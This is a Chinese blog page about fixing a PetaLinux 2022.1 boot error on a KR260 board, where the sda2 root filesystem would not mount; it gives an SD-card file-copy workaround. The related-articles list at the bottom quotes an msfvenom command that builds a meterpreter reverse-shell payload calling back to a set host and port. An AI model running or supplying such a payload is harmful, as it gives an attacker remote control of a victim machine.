首页 > 系统相关 >解决问题Linux启动错误“ERROR: There's no '/dev' on rootfs.”不能mount sda2的根文件系统。

解决问题Linux启动错误“ERROR: There's no '/dev' on rootfs.”不能mount sda2的根文件系统。

时间:2022-09-30 15:37:42浏览次数:89  
标签:mount There boot dev sda2 Linux rootfs

在测试KR260的自己工程时,Linux启动报告错误“ERROR: There's no '/dev' on rootfs.”。对应的工具时PetaLinux 2022.1.

根文件系统在/dev/sda2,Linux启动后再mount,能成功。

即使在bootargs里添加"root=/dev/sda2",也有同样错误。

再在工程里使能"CONFIG_SUBSYSTEM_ROOTFS_EXT4",也有同样错误。

搜索相关文章,发现Xilinx已经有解决办法PetaLinux does not mount full rootfs when boot INITRD images are built using the template method。先测试其中的 Method 2 SD boot mode, 复制文件BOOT.BIN、 boot.scr、 Image、 rootfs.cpio.gz.u-boot、 system.dtb到SD卡启动,能够正常mount sda2的根文件系统。

cd <plnx-proj-root>/pre-built/linux/images/
$ cp BOOT.BIN boot.scr Image rootfs.cpio.gz.u-boot system.dtb <PATH_TO_SD_FAT32_PARTITION_MOUNT_POINT>

标签:mount,There,boot,dev,sda2,Linux,rootfs
From: https://www.cnblogs.com/hankfu/p/16745027.html

相关文章

  • Linux安全之SELinux理解
    ​​安全增强式Linux​​​,即​SELinux​(Security-EnhancedLinux)是一个 ​Linux​ 内核的安全模块,其提供了访问控制安全策略机制,包括了强制访问控制(MandatoryAccess......
  • Linux主机信息收集
    成殇Orz10x00Linux主机渗透MSF生成LUNIX平台可执行文件msfvenom-plinux/x86/meterpreter/reverse_tcplhost=192.168.31.246lport=8882-felf-olocalmsf8882.elf......
  • Windows上编译可运行在Linux上的go二进制文件
    Windows上编译可运行在Linux上的go二进制文件1、前言默认Windows上编译的go二进制为exe,只能运行在Windows上,而想要在Linux上运行,则需要到Linux的平台编译。有没有一种办......
  • 封装自用Linux命令
    [本文出自天外归云的博客园]1.创建脚本命令文件:vimy_cmd2.编写脚本内容并保存::wq3.转移脚本命令文件到命令工具目录下:mvmy_cmd/usr/local/bin4.修改脚......
  • 【Linux】Unable to fetch some archives, maybe run apt-get update or try with --f
    一、问题描述在aptinstall时候遇到E:Unabletofetchsomearchives,mayberunapt-getupdateortrywith--fix-missing?的error。Error报的信息显示是这个包向so......
  • Linux
    Linux用于学习记录S1概述1.1介绍是一套免费使用和自由传播的类Unix操作系统,有众多以其为内核的发行版,例如Ubuntu、CentOS等。1.2应用场景linux下开发项目......
  • linux cpu 相关
    转载:https://www.jianshu.com/p/6a53819fa89b 一、物理CPU,物理CPU内核,逻辑CPU概念详解1.说明CPU(CentralProcessingUnit)是中央处理单元,本文介绍物理CPU,物理CPU......
  • linux下使用yum安装nginx
    上一次发了本地安装nginx,这次发一个yum安装nginx1.安装nginx源我们本机有的可能没有附带nginx源,所以我们这里先进行安装一个nginx源#rpm-ivhhttp://nginx.org/packag......
  • linux内核离线升级步骤详解【亲测可用】
    由于种种原因,linux的内核版本需要升级,但由于生产原因往往不能在线升级,在此记录笔者本人昨晚的的离线升级步骤,亲测可用。我们知道,红帽和CentOS同源同宗,内核升级步骤也是一......
  • Java 模拟Terminal连接 Linux Console 源代码
    代码和效果如下,已经转换java文件为exe文件,注意要在Pom文件里面添加依赖。  packagecom.javassh3.javassh3;/*-*-mode:java;c-basic-offset:2;indent-tabs-mode:n......